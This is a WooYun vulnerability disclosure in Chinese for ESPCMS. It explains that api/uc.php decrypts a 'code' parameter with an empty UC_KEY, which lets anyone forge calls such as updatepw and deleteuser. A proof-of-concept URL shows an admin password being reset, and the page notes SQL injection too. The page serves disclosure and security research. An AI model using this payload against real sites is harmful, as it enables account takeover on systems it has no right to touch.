当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2013-35697

漏洞标题： ESPCMS某接口文件存在缺陷可重置任意用户密码

相关厂商： 易思ESPCMS企业网站管理系统

漏洞作者： viekst

提交时间： 2013-08-30 19:03

公开时间： 2013-11-25 19:04

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 安全意识不足 php源码分析 白盒测试

0人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-30： 细节已通知厂商并且等待厂商处理中
2013-09-04： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2013-10-29： 细节向核心白帽子及相关领域专家公开
2013-11-08： 细节向普通白帽子公开
2013-11-18： 细节向实习白帽子公开
2013-11-25： 细节向公众公开

简要描述：

ESPCMS某接口文件存在缺陷可重置任意用户密码，还可造成SQL注入

详细说明：

/espcms_utf8_**.**.**.**.15_b/upload/api/uc.php

该文件可能是用作 与ucenter做接口的，espcms在默认安装存在，

第36行起

code 区域
...


$_DCACHE = $get = $post = array();


	$code = @$_GET['code'];


	parse_str(_authcode($code, 'DECODE', UC_KEY), $get);


	if (MAGIC_QUOTES_GPC) {


		$get = _stripslashes($get);


	}


...



code变量从get中获取后经过_authcode函数解密成字符串 接着解析到变量中，

重点来到_authcode函数，这是一个经典的的流密码实现的算法,定义密匙通过抑或运算得到密文，很多开源CMS都有用到，ESPCMS的cookie也是用的该种加密

code 区域
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {


	$ckey_length = 4;





	$key = md5($key ? $key : UC_KEY);


	$keya = md5(substr($key, 0, 16));


	$keyb = md5(substr($key, 16, 16));


	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';





	$cryptkey = $keya . md5($keya . $keyc);


	$key_length = strlen($cryptkey);





	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;


	$string_length = strlen($string);





	$result = '';


	$box = range(0, 255);





	$rndkey = array();


	for ($i = 0; $i <= 255; $i++) {


		$rndkey[$i] = ord($cryptkey[$i % $key_length]);


	}





	for ($j = $i = 0; $i < 256; $i++) {


		$j = ($j + $box[$i] + $rndkey[$i]) % 256;


		$tmp = $box[$i];


		$box[$i] = $box[$j];


		$box[$j] = $tmp;


	}





	for ($a = $j = $i = 0; $i < $string_length; $i++) {


		$a = ($a + 1) % 256;


		$j = ($j + $box[$a]) % 256;


		$tmp = $box[$a];


		$box[$a] = $box[$j];


		$box[$j] = $tmp;


		$result.=chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));


	}





	if ($operation == 'DECODE') {


		if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {


			return substr($result, 26);


		} else {


			return '';


		}


	} else {


		return $keyc . str_replace('=', '', base64_encode($result));


	}


}



但是注意该处的密匙UC_KEY没有定义，也没有用到db_pscode，该处是空的，

那么我们就可以通过_authcode算法自行加密了，

接着往下看

code 区域
...


include_once DISCUZ_ROOT2 . 'datacache/public.php';


		require_once DISCUZ_ROOT . './class_dbMysql.php';


		$GLOBALS['db'] = new dbmysql();


		$GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);


		$GLOBALS['tablepre'] = db_prefix;


		$uc_note = new uc_note();


		$turecode = $uc_note->$get['action']($get, $post);


		exit($uc_note->$get['action']($get, $post));


...



到了这里我们就可以调用以下方法了，改密码，改用户，删用户什么的，

code 区域
'test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'

漏洞证明：

code 区域
code = _authcode('action=updatepw&time=1477834492&username=admin888&password=1111111','ENCODE','')


http://**.**.**.**/api/uc.php?code=094epCszE0DZRnt2Pv34E8VkGrLYXsXizGVzdzeJIhXoTx7N8w%2bLG6zR0zWMwkUbhtyXrBEFXHctzJrLdiu6aaixIJYNH0%2bt9U%2byhpmQhvgwFM11ss9oe%2faJ2uc7KGQ   //将admin888用户密码改为1111111



另外上面在进行数据库查询的时候未做任何过滤，还可引起SQL注入

修复方案：

没有用的就删除了..

版权声明：转载请注明来源 viekst@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-11-25 19:04

厂商回复：

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-08-31 01:50 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    难道uc？

    1# 回复此人
  2. 2013-08-31 09:02 | viekst ( 实习白帽子 | Rank:64 漏洞数:11 )
    0

    @猪头子 嗯,确实..

    2# 回复此人
  3. 2013-09-02 15:16 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @viekst 我恨你

    3# 回复此人
  4. 2013-09-02 15:45 | viekst ( 实习白帽子 | Rank:64 漏洞数:11 )
    0

    @猪头子 哥们咋了,我没招惹你啊. 唉,目测忽略..

    4# 回复此人
  5. 2013-09-02 21:35 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @viekst 别生气我开玩笑的

    5# 回复此人
  6. 2013-11-25 19:24 | 麻花藤 ( 路人 | Rank:15 漏洞数:1 | ด้้้้้็็็็็้้้้้็็็็...)
    0

    @viekst 是异或运算，不是“抑或”，哈哈

    6# 回复此人

登录后才能发表评论，请先 登录 。